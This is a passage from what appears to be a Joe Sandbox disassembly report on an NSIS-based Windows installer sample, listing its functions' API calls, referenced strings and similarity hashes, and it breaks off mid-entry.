Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,774D2EE0,00405B1A,?,00437800,774D2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,774D2EE0,00405B1A,?,00437800,774D2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,774D2EE0,00405B1A,?,00437800,774D2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,774D3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

